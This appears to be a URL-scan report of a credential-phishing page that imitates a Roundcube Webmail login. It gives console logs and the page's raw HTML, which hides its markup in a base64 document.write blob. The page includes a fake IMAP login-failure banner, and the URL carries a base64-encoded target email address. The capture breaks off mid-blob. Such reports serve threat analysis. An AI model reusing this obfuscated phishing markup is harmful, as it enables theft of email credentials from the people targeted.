https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=

Submitted URL:
https://sotar.link/jBpMV/?#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=Redirected
Report Finished:

The outgoing links identified from the page

JavaScript Variables · 10 found

Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope

NameType
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
rcmailundefined
countDownDatenumber
xnumber
$function
jQueryfunction
Popperfunction
bootstrapobject

Console log messages · 27 found

Messages logged to the web console

TypeCategoryLog
errornetwork
URL
chrome-extension://invalid/
Text
Failed to load resource: net::ERR_BLOCKED_BY_CLIENT
warningnetwork
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm
Text
A parser-blocking, cross site (i.e. different eTLD+1) script, https://code.jquery.com/jquery-3.2.1.slim.min.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
warningnetwork
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm
Text
A parser-blocking, cross site (i.e. different eTLD+1) script, https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
warningnetwork
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm
Text
A parser-blocking, cross site (i.e. different eTLD+1) script, https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
warningnetwork
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm
Text
A parser-blocking, cross site (i.e. different eTLD+1) script, https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
errornetwork
URL
chrome-extension://invalid/
Text
Failed to load resource: net::ERR_BLOCKED_BY_CLIENT
errornetwork
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/Roundcube%20Webmail%20__%20Welcome%20to%20Roundcube%20Webmail_files/app.min.js.download
Text
Failed to load resource: the server responded with a status of 404 ()
errornetwork
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/Roundcube%20Webmail%20__%20Welcome%20to%20Roundcube%20Webmail_files/jquery-ui.min.js.download
Text
Failed to load resource: the server responded with a status of 404 ()
errornetwork
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/Roundcube%20Webmail%20__%20Welcome%20to%20Roundcube%20Webmail_files/common.min.js.download
Text
Failed to load resource: the server responded with a status of 404 ()
errornetwork
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/Roundcube%20Webmail%20__%20Welcome%20to%20Roundcube%20Webmail_files/jquery.min.js.download
Text
Failed to load resource: the server responded with a status of 404 ()
errornetwork
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/Roundcube%20Webmail%20__%20Welcome%20to%20Roundcube%20Webmail_files/jstz.min.js.download
Text
Failed to load resource: the server responded with a status of 404 ()
errornetwork
URL
chrome-extension://invalid/
Text
Failed to load resource: net::ERR_BLOCKED_BY_CLIENT
errorother
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=
Text
Refused to execute script from 'https://eirorx-ztqqc4m2-sept0pfne.4everland.app/Roundcube%20Webmail%20__%20Welcome%20to%20Roundcube%20Webmail_files/jquery.min.js.download' because its MIME type ('text/plain') is not executable, and strict MIME type checking is enabled.
errorother
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=
Text
Refused to execute script from 'https://eirorx-ztqqc4m2-sept0pfne.4everland.app/Roundcube%20Webmail%20__%20Welcome%20to%20Roundcube%20Webmail_files/common.min.js.download' because its MIME type ('text/plain') is not executable, and strict MIME type checking is enabled.
errorother
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=
Text
Refused to execute script from 'https://eirorx-ztqqc4m2-sept0pfne.4everland.app/Roundcube%20Webmail%20__%20Welcome%20to%20Roundcube%20Webmail_files/app.min.js.download' because its MIME type ('text/plain') is not executable, and strict MIME type checking is enabled.
errorother
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=
Text
Refused to execute script from 'https://eirorx-ztqqc4m2-sept0pfne.4everland.app/Roundcube%20Webmail%20__%20Welcome%20to%20Roundcube%20Webmail_files/jstz.min.js.download' because its MIME type ('text/plain') is not executable, and strict MIME type checking is enabled.
errorother
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=
Text
Refused to execute script from 'https://eirorx-ztqqc4m2-sept0pfne.4everland.app/Roundcube%20Webmail%20__%20Welcome%20to%20Roundcube%20Webmail_files/jquery-ui.min.js.download' because its MIME type ('text/plain') is not executable, and strict MIME type checking is enabled.
verbosedom
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=
Text
[DOM] Input elements should have autocomplete attributes (suggested: "new-password"): (More info: https://goo.gl/9p2vKq) %o
errornetwork
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/logo.svg
Text
Failed to load resource: the server responded with a status of 404 ()
errorsecurity
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=
Text
Access to font at 'https://ia600601.us.archive.org/30/items/fonts/roboto-v29-regular.woff2' from origin 'https://eirorx-ztqqc4m2-sept0pfne.4everland.app' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
errornetwork
URL
https://ia600601.us.archive.org/30/items/fonts/roboto-v29-regular.woff2
Text
Failed to load resource: net::ERR_FAILED
errorsecurity
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=
Text
Access to font at 'https://ia600601.us.archive.org/30/items/fonts/fa-solid-900.woff2' from origin 'https://eirorx-ztqqc4m2-sept0pfne.4everland.app' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
errornetwork
URL
https://ia600601.us.archive.org/30/items/fonts/fa-solid-900.woff2
Text
Failed to load resource: net::ERR_FAILED
errorsecurity
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=
Text
Access to font at 'https://ia600601.us.archive.org/30/items/fonts/roboto-v29-regular.woff' from origin 'https://eirorx-ztqqc4m2-sept0pfne.4everland.app' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
errornetwork
URL
https://ia600601.us.archive.org/30/items/fonts/roboto-v29-regular.woff
Text
Failed to load resource: net::ERR_FAILED
errorsecurity
URL
https://eirorx-ztqqc4m2-sept0pfne.4everland.app/eiror.htm#c29ybWlsYUBiZW5nYWwtYWlybGlmdC5jb20=
Text
Access to font at 'https://ia600601.us.archive.org/30/items/fonts/fa-solid-900.woff' from origin 'https://eirorx-ztqqc4m2-sept0pfne.4everland.app' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
errornetwork
URL
https://ia600601.us.archive.org/30/items/fonts/fa-solid-900.woff
Text
Failed to load resource: net::ERR_FAILED

HTML

The raw HTML body of the page

<!DOCTYPE html><html lang="en" class="js chrome webkit layout-large"><head>
<script src="" id="eppiocemhmnlbhjplcgkofciiegomcon"></script><script src=""></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/requests.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Roundcube Webmail :: Welcome to Roundcube Webmail</title>

  <script>
  document.write(unescape(atob("PCFET0NUWVBFIGh0bWw+CjwhLS0gc2F2ZWQgZnJvbSB1cmw9KDAwOTEpaHR0cHM6Ly9kdWZmY29uc3VsdGluZy5jb20uYXUvd2VibWFpbC8/X3Rhc2s9bG9nb3V0Jl90b2tlbj00OVVmTnIyZkZSc3VkaGN2dkV6QlRuTEtEbjF6WXBjNCAtLT4KPGh0bWwgbGFuZz0iZW4iIGNsYXNzPSJqcyBjaHJvbWUgd2Via2l0IGxheW91dC1sYXJnZSI+PHNjcmlwdCBzcmM9IiIgaWQ9ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIj48L3NjcmlwdD48c2NyaXB0IHNyYz0iIj48L3NjcmlwdD48c2NyaXB0IHNyYz0iY2hyb21lLWV4dGVuc2lvbjovL2VwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uL2xpYnMvcmVxdWVzdHMuanMiPjwvc2NyaXB0PjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPlJvdW5kY3ViZSBXZWJtYWlsIDo6IFdlbGNvbWUgdG8gUm91bmRjdWJlIFdlYm1haWw8L3RpdGxlPgoJPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIHNocmluay10by1maXQ9bm8sIG1heGltdW0tc2NhbGU9MS4wIj48bWV0YSBuYW1lPSJ0aGVtZS1jb2xvciIgY29udGVudD0iI2Y0ZjRmNCI+PG1ldGEgbmFtZT0ibXNhcHBsaWNhdGlvbi1uYXZidXR0b24tY29sb3IiIGNvbnRlbnQ9IiNmNGY0ZjQiPgoJPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwczovL2R1ZmZjb25zdWx0aW5nLmNvbS5hdS93ZWJtYWlsL3NraW5zL2VsYXN0aWMvaW1hZ2VzL2Zhdmljb24uaWNvIj4KCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9pYTYwMDYwMS51cy5hcmNoaXZlLm9yZy8zMC9pdGVtcy9ib290c3RyYXAubWluXzIwMjQwOS9ib290c3RyYXAubWluLmNzcyI+CgkKCQk8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vaWE2MDA2MDEudXMuYXJjaGl2ZS5vcmcvMzAvaXRlbXMvYm9vdHN0cmFwLm1pbl8yMDI0MDkvc3R5bGVzLm1pbi5jc3MiPgoJCQoJCgkKCQk8c2NyaXB0PgoJCXRyeSB7CgkJCWlmIChkb2N1bWVudC5jb29raWUuaW5kZXhPZignY29sb3JNb2RlPWRhcmsnKSA+IC0xCgkJCQl8fCAoZG9jdW1lbnQuY29va2llLmluZGV4T2YoJ2NvbG9yTW9kZT1saWdodCcpID09PSAtMSAmJiB3aW5kb3cubWF0Y2hNZWRpYSgnKHByZWZlcnMtY29sb3Itc2NoZW1lOiBkYXJrKScpLm1hdGNoZXMpCgkJCSkgewoJCQkJZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsYXNzTmFtZSArPSAnIGRhcmstbW9kZSc7CgkJCX0KCQl9IGNhdGNoIChlKSB7IH0KCQk8L3NjcmlwdD48c2NyaXB0IGJpc191c2U9InRydWUiIHR5cGU9InRleHQvamF2YXNjcmlwdCIgY2hhcnNldD0idXRmLTgiIGRhdGEtYmlzLWNvbmZpZz0iWyZxdW90O2ZhY2Vib29rLmNvbS8mcXVvdDssJnF1b3Q7dHdpdHRlci5jb20vJnF1b3Q7LCZxdW90O3lvdXR1YmUtbm9jb29raWUuY29tL2VtYmVkLyZxdW90OywmcXVvdDsvL3ZrLmNvbS8mcXVvdDssJnF1b3Q7Ly93d3cudmsuY29tLyZxdW90OywmcXVvdDtsaW5rZWRpbi5jb20vJnF1b3Q7LCZxdW90Oy8vd3d3LmxpbmtlZGluLmNvbS8mcXVvdDssJnF1b3Q7Ly9pbnN0YWdyYW0uY29tLyZxdW90OywmcXVvdDsvL3d3dy5pbnN0YWdyYW0uY29tLyZxdW90OywmcXVvdDsvL3d3dy5nb29nbGUuY29tL3JlY2FwdGNoYS9hcGkyLyZxdW90OywmcXVvdDsvL2hhbmdvdXRzLmdvb2dsZS5jb20vd2ViY2hhdC8mcXVvdDssJnF1b3Q7Ly93d3cuZ29vZ2xlLmNvbS9jYWxlbmRhci8mcXVvdDssJnF1b3Q7Ly93d3cuZ29vZ2xlLmNvbS9tYXBzL2VtYmVkJnF1b3Q7LCZxdW90O3Nwb3RpZnkuY29tLyZxdW90OywmcXVvdDtzb3VuZGNsb3VkLmNvbS8mcXVvdDssJnF1b3Q7Ly9wbGF5ZXIudmltZW8uY29tLyZxdW90OywmcXVvdDsvL2Rpc3F1cy5jb20vJnF1b3Q7LCZxdW90Oy8vdGd3aWRnZXQuY29tLyZxdW90OywmcXVvdDsvL2pzLmRyaWZ0dC5jb20vJnF1b3Q7LCZxdW90O2ZyaWVuZHMyZm9sbG93LmNvbSZxdW90OywmcXVvdDsvd2lkZ2V0JnF1b3Q7LCZxdW90O2xvZ2luJnF1b3Q7LCZxdW90Oy8vdmlkZW8uYmlnbWlyLm5ldC8mcXVvdDssJnF1b3Q7YmxvZ2dlci5jb20mcXVvdDssJnF1b3Q7Ly9zbWFydGxvY2suZ29vZ2xlLmNvbS8mcXVvdDssJnF1b3Q7Ly9rZWVwLmdvb2dsZS5jb20vJnF1b3Q7LCZxdW90Oy93ZWIudG9sc3RveWNvbW1lbnRzLmNvbS8mcXVvdDssJnF1b3Q7bW96LWV4dGVuc2lvbjovLyZxdW90OywmcXVvdDtjaHJvbWUtZXh0ZW5zaW9uOi8vJnF1b3Q7LCZxdW90Oy9hdXRoLyZxdW90OywmcXVvdDsvL2FuYWx5dGljcy5nb29nbGUuY29tLyZxdW90OywmcXVvdDthZGNsYXJpdHkuY29tJnF1b3Q7LCZxdW90O3BhZGRsZS5jb20vY2hlY2tvdXQmcXVvdDssJnF1b3Q7aGNhcHRjaGEuY29tJnF1b3Q7LCZxdW90O3JlY2FwdGNoYS5uZXQmcXVvdDssJnF1b3Q7MmNhcHRjaGEuY29tJnF1b3Q7LCZxdW90O2FjY291bnRzLmdvb2dsZS5jb20mcXVvdDssJnF1b3Q7d3d3Lmdvb2dsZS5jb20vc2hvcHBpbmcvY3VzdG9tZXJyZXZpZXdzJnF1b3Q7LCZxdW90O2J1eS50aW55cGFzcy5jb20mcXVvdDssJnF1b3Q7Z3N0YXRpYy5jb20mcXVvdDssJnF1b3Q7c2VjdXJlaXIuZWJheXN0YXRpYy5jb20mcXVvdDssJnF1b3Q7ZG9jcy5nb29nbGUuY29tJnF1b3Q7LCZxdW90O2NvbnRhY3RzLmdvb2dsZS5jb20mcXVvdDssJnF1b3Q7Z2l0aHViLmNvbSZxdW90OywmcXVvdDttYWlsLmdvb2dsZS5jb20mcXVvdDssJnF1b3Q7Y2hhdC5nb29nbGUuY29tJnF1b3Q7LCZxdW90O2F1ZGlvLnhwbGVlci5jb20mcXVvdDssJnF1b3Q7a2VlcGEuY29tJnF1b3Q7LCZxdW90O3N0YXRpYy54eC5mYmNkbi5uZXQmcXVvdDssJnF1b3Q7c2FzLnNlbGxlcmFtcC5jb20mcXVvdDssJnF1b3Q7MXBsdXMxLnZpZGVvJnF1b3Q7LCZxdW90O2NvbnNvbGUuZ29vZ2xldGFnc2VydmljZXMuY29tJnF1b3Q7LCZxdW90Oy8vbG5rZC5kZW1kZXgubmV0LyZxdW90OywmcXVvdDsvL3JhZGFyLmNlZGV4aXMuY29tLyZxdW90OywmcXVvdDsvL2xpLnByb3RlY2h0cy5uZXQvJnF1b3Q7LCZxdW90O2NoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20vJnF1b3Q7LCZxdW90O29ncy5nb29nbGUuY29tJnF1b3Q7XSIgc3JjPSJjaHJvbWUtZXh0ZW5zaW9uOi8vZXBwaW9jZW1obW5sYmhqcGxjZ2tvZmNpaWVnb21jb24vZXhlY3V0ZXJzL3ZpLXRyLmpzIj48L3NjcmlwdD4KCQo8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJodHRwczovL2lhNjAwNjAxLnVzLmFyY2hpdmUub3JnLzMwL2l0ZW1zL2Jvb3RzdHJhcC5taW5fMjAyNDA5L2pxdWVyeS11aS5taW4uY3NzIj48c2NyaXB0IHNyYz0iLi9Sb3VuZGN1YmUgV2VibWFpbCBfXyBXZWxjb21lIHRvIFJvdW5kY3ViZSBXZWJtYWlsX2ZpbGVzL2pxdWVyeS5taW4uanMuZG93bmxvYWQiPjwvc2NyaXB0PjxzY3JpcHQgc3JjPSIuL1JvdW5kY3ViZSBXZWJtYWlsIF9fIFdlbGNvbWUgdG8gUm91bmRjdWJlIFdlYm1haWxfZmlsZXMvY29tbW9uLm1pbi5qcy5kb3dubG9hZCI+PC9zY3JpcHQ+PHNjcmlwdCBzcmM9Ii4vUm91bmRjdWJlIFdlYm1haWwgX18gV2VsY29tZSB0byBSb3VuZGN1YmUgV2VibWFpbF9maWxlcy9hcHAubWluLmpzLmRvd25sb2FkIj48L3NjcmlwdD48c2NyaXB0IHNyYz0iLi9Sb3VuZGN1YmUgV2VibWFpbCBfXyBXZWxjb21lIHRvIFJvdW5kY3ViZSBXZWJtYWlsX2ZpbGVzL2pzdHoubWluLmpzLmRvd25sb2FkIj48L3NjcmlwdD48c2NyaXB0PgovKgogICAgICAgIEBsaWNzdGFydCAgVGhlIGZvbGxvd2luZyBpcyB0aGUgZW50aXJlIGxpY2Vuc2Ugbm90aWNlIGZvciB0aGUgCiAgICAgICAgSmF2YVNjcmlwdCBjb2RlIGluIHRoaXMgcGFnZS4KCiAgICAgICAgQ29weXJpZ2h0IChDKSBUaGUgUm91bmRjdWJlIERldiBUZWFtCgogICAgICAgIFRoZSBKYXZhU2NyaXB0IGNvZGUgaW4gdGhpcyBwYWdlIGlzIGZyZWUgc29mdHdhcmU6IHlvdSBjYW4gcmVkaXN0cmlidXRlCiAgICAgICAgaXQgYW5kL29yIG1vZGlmeSBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlCiAgICAgICAgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIGVpdGhlciB2ZXJzaW9uIDMgb2YKICAgICAgICB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KCiAgICAgICAgVGhlIGNvZGUgaXMgZGlzdHJpYnV0ZWQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZAogICAgICAgIHdhcnJhbnR5IG9mIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4KICAgICAgICBTZWUgdGhlIEdOVSBHUEwgZm9yIG1vcmUgZGV0YWlscy4KCiAgICAgICAgQGxpY2VuZCAgVGhlIGFib3ZlIGlzIHRoZSBlbnRpcmUgbGljZW5zZSBub3RpY2UKICAgICAgICBmb3IgdGhlIEphdmFTY3JpcHQgY29kZSBpbiB0aGlzIHBhZ2UuCiovCnZhciByY21haWwgPSBuZXcgcmN1YmVfd2VibWFpbCgpOwpyY21haWwuc2V0X2Vudih7InRhc2siOiJsb2dpbiIsInN0YW5kYXJkX3dpbmRvd3MiOmZhbHNlLCJsb2NhbGUiOiJlbl9VUyIsImRldmVsX21vZGUiOm51bGwsInJjdmVyc2lvbiI6MTA2MDgsImNvb2tpZV9kb21haW4iOiIiLCJjb29raWVfcGF0aCI6Ii8iLCJjb29raWVfc2VjdXJlIjp0cnVlLCJkYXJrX21vZGVfc3VwcG9ydCI6dHJ1ZSwic2tpbiI6ImVsYXN0aWMiLCJibGFua3BhZ2UiOiJza2lucy9lbGFzdGljL3dhdGVybWFyay5odG1sIiwicmVmcmVzaF9pbnRlcnZhbCI6NjAsInNlc3Npb25fbGlmZXRpbWUiOjYwMCwiYWN0aW9uIjoiIiwiY29tbV9wYXRoIjoiL3dlYm1haWwvP190YXNrPWxvZ2luIiwidXNlcl9pZCI6IndycmNUSEJERzI0cnpuVFAiLCJjb21wb3NlX2V4dHdpbiI6ZmFsc2UsImRhdGVfZm9ybWF0IjoieXktbW0tZGQiLCJkYXRlX2Zvcm1hdF9sb2NhbGl6ZWQiOiJZWVlZLU1NLUREIiwicmVxdWVzdF90b2tlbiI6Im9MQ2tFZWR0UkJucUNDamxxS0pRY1hzWHVham83ZWJvIn0pOwpyY21haWwuYWRkX2xhYmVsKHsibG9hZGluZyI6IkxvYWRpbmcuLi4iLCJzZXJ2ZXJlcnJvciI6IlNlcnZlciBFcnJvciEiLCJjb25uZXJyb3IiOiJDb25uZWN0aW9uIEVycm9yIChGYWlsZWQgdG8gcmVhY2ggdGhlIHNlcnZlcikhIiwicmVxdWVzdHRpbWVkb3V0IjoiUmVxdWVzdCB0aW1lZCBvdXQiLCJyZWZyZXNoaW5nIjoiUmVmcmVzaGluZy4uLiIsIndpbmRvd29wZW5lcnJvciI6IlRoZSBwb3B1cCB3aW5kb3cgd2FzIGJsb2NrZWQhIiwidXBsb2FkaW5nbWFueSI6IlVwbG9hZGluZyBmaWxlcy4uLiIsInVwbG9hZGluZyI6IlVwbG9hZGluZyBmaWxlLi4uIiwiY2xvc2UiOiJDbG9zZSIsInNhdmUiOiJTYXZlIiwiY2FuY2VsIjoiQ2FuY2VsIiwiYWxlcnR0aXRsZSI6IkF0dGVudGlvbiIsImNvbmZpcm1hdGlvbnRpdGxlIjoiQXJlIHlvdSBzdXJlLi4uIiwiZGVsZXRlIjoiRGVsZXRlIiwiY29udGludWUiOiJDb250aW51ZSIsIm9rIjoiT0siLCJiYWNrIjoiQmFjayIsImVycm9ydGl0bGUiOiJBbiBlcnJvciBvY2N1cnJlZCEiLCJvcHRpb25zIjoiT3B0aW9ucyIsInBsYWludG9nZ2xlIjoiUGxhaW4gdGV4dCIsImh0bWx0b2dnbGUiOiJIVE1MIiwicHJldmlvdXMiOiJQcmV2aW91cyIsIm5leHQiOiJOZXh0Iiwic2VsZWN0IjoiU2VsZWN0IiwiYnJvd3NlIjoiQnJvd3NlIiwiY2hvb3NlZmlsZSI6IkNob29zZSBmaWxlLi4uIiwiY2hvb3NlZmlsZXMiOiJDaG9vc2UgZmlsZXMuLi4ifSk7CnJjbWFpbC5kaXNwbGF5X21lc3NhZ2UoIllvdSBoYXZlIHN1Y2Nlc3NmdWxseSB0ZXJtaW5hdGVkIHRoZSBzZXNzaW9uLiBHb29kYnllISIsIm5vdGljZSIsMCk7CnJjbWFpbC5ndWlfY29udGFpbmVyKCJsb2dpbmZvb3RlciIsImxvZ2luLWZvb3RlciIpO3JjbWFpbC5ndWlfb2JqZWN0KCdsb2dpbmZvcm0nLCAnbG9naW4tZm9ybScpOwpyY21haWwuZ3VpX29iamVjdCgnbWVzc2FnZScsICdtZXNzYWdlc3RhY2snKTsKPC9zY3JpcHQ+Cgo8c2NyaXB0IHNyYz0iLi9Sb3VuZGN1YmUgV2VibWFpbCBfXyBXZWxjb21lIHRvIFJvdW5kY3ViZSBXZWJtYWlsX2ZpbGVzL2pxdWVyeS11aS5taW4uanMuZG93bmxvYWQiPjwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5IGNsYXNzPSJ0YXNrLWxvZ2luIGFjdGlvbi1ub25lIiBfX3Byb2Nlc3NlZF8zMzQxMzNhNS0yNGNjLTRlY2QtODlhYy0zODcyMDMxM2RmZGNfXz0idHJ1ZSIgYmlzX3JlZ2lzdGVyPSJXM3NpYldGemRHVnlJanAwY25WbExDSmxlSFJsYm5OcGIyNUpaQ0k2SW1Wd2NHbHZZMlZ0YUcxdWJHSm9hbkJzWTJkcmIyWmphV2xsWjI5dFkyOXVJaXdpWVdSaWJHOWphMlZ5VTNSaGRIVnpJanA3SWtSSlUxQk1RVmtpT2lKa2FYTmhZbXhsWkNJc0lrWkJRMFZDVDA5TElqb2laR2x6WVdKc1pXUWlMQ0pVVjBsVVZFVlNJam9pWkdsellXSnNaV1FpTENKU1JVUkVTVlFpT2lKa2FYTmhZbXhsWkNJc0lsQkpUbFJGVWtWVFZDSTZJbVJwYzJGaWJHVmtJaXdpU1U1VFZFRkhVa0ZOSWpvaVpHbHpZV0pzWldRaUxDSk1TVTVMUlVSSlRpSTZJbVJwYzJGaWJHVmtJaXdpUTA5T1JrbEhJam9pWkdsellXSnNaV1FpZlN3aWRtVnljMmx2YmlJNklqSXVNQzR4TmlJc0luTmpiM0psSWpveU1EQXhObjFkIj4KCjxwIGlkPSJjb21wYW55LW5hbWUiIGJpc19za2luX2NoZWNrZWQ9IjEiIHN0eWxlPSJmb250LXNpemU6MTBweDsiPiA8bWFycXVlZSBzY3JvbGxhbW91bnQ9IjEiIGJlaGF2aW9yPSJhbHRlcm5hdGUiIHdpZHRoPSI5MCUiIGRpcmVjdGlvbj0ibGVmdCIgaGVpZ2h0PSIxNXB4Ij5JTUFQIEVycm9yIGluIC92YXIvd3d3L3dlYm1haWwvcHJvZ3JhbS9tYWluL21haWxfaW1hcC5waHAgKDE5Nik6IExvZ2luIGZhaWxlZCBmb3IgPHNwYW4gc3R5bGU9ImNvbG9yOnJlZDsiIGlkPSJhaWN4Ij48L3NwYW4+IGZyb20gaHR0cHM6Ly88c3BhbiBpZD0ibG9nb25hbWVjIj48L3NwYW4+IEFVVEhFTlRJQ0FURSBQTEFOIEZBSUxFRC48L21hcnF1ZWU+PC9iPjwvcD4JCgkJPGRpdiBpZD0ibGF5b3V0IiBiaXNfc2tpbl9jaGVja2VkPSIxIj4KCQoKCjxoMSBjbGFzcz0idm9pY2UiPlJvdW5kY3ViZSBXZWJtYWlsIExvZ2luPC9oMT4KCjxkaXYgaWQ9ImxheW91dC1jb250ZW50IiBjbGFzcz0ic2VsZWN0ZWQgbm8tbmF2YmFyIiByb2xlPSJtYWluIiBiaXNfc2tpbl9jaGVja2VkPSIxIj4KCQoJPGZvcm0gaWQ9ImxvZ2luLWZvcm0iIG5hbWU9ImxvZ2luLWZvcm0iIG1ldGhvZD0icG9zdCIgY2xhc3M9InByb3Bmb3JtIiBhY3Rpb249Imh0dHBzOi8vZHVmZmNvbnN1bHRpbmcuY29tLmF1L3dlYm1haWwvP190YXNrPWxvZ2luIj4KCTxwPjxpbWcgc3JjPSIuL2xvZ28uc3ZnIiBpZD0ibG9nb2ltZyIgd2lkdGg9IjE4JSIgYWx0PSJMb2dvIj48L3A+PGJyPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJfdG9rZW4iIHZhbHVlPSJvTENrRWVkdFJCbnFDQ2pscUtKUWNYc1h1YWpvN2VibyIgY2xhc3M9ImZvcm0tY29udHJvbCI+CgkKCQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iX3Rhc2siIHZhbHVlPSJsb2dpbiIgY2xhc3M9ImZvcm0tY29udHJvbCI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJfYWN0aW9uIiB2YWx1ZT0ibG9naW4iIGNsYXNzPSJmb3JtLWNvbnRyb2wiPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iX3RpbWV6b25lIiBpZD0icmNtbG9naW50eiIgdmFsdWU9IkV1cm9wZS9Mb25kb24iIGNsYXNzPSJmb3JtLWNvbnRyb2wiPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iX3VybCIgaWQ9InJjbWxvZ2ludXJsIiB2YWx1ZT0iIiBjbGFzcz0iZm9ybS1jb250cm9sIj4KCTx0YWJsZT4KCQoJIDx0Ym9keT4KCSAKCSA8dHIgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4KCSA8dGQgY2xhc3M9InRpdGxlIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgoJIDxsYWJlbCBmb3I9InJjbWxvZ2ludXNlciI+VXNlcm5hbWU8L2xhYmVsPgoJIDwvdGQ+CgkgPHRkIGNsYXNzPSJpbnB1dCBpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1sZyI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRDRBQUFBMkNBWUFBQUNma2lvcEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFSblFVMUJBQUN4and2OFlRVUFBQUFKY0VoWmN3QUFGaVVBQUJZbEFVbFNKUEFBQUFIOVNVUkJWR2hEN2RlL1M0SkJITWZ4L3FBbWg0aVd4OFdXb0VFY1hCSUpDOElHY1hKb0xIZ29YQ3lpSE5xZUZsMXlTUnJDUVJIVXdab0VReEFOeFlmQ3lQM1RJeU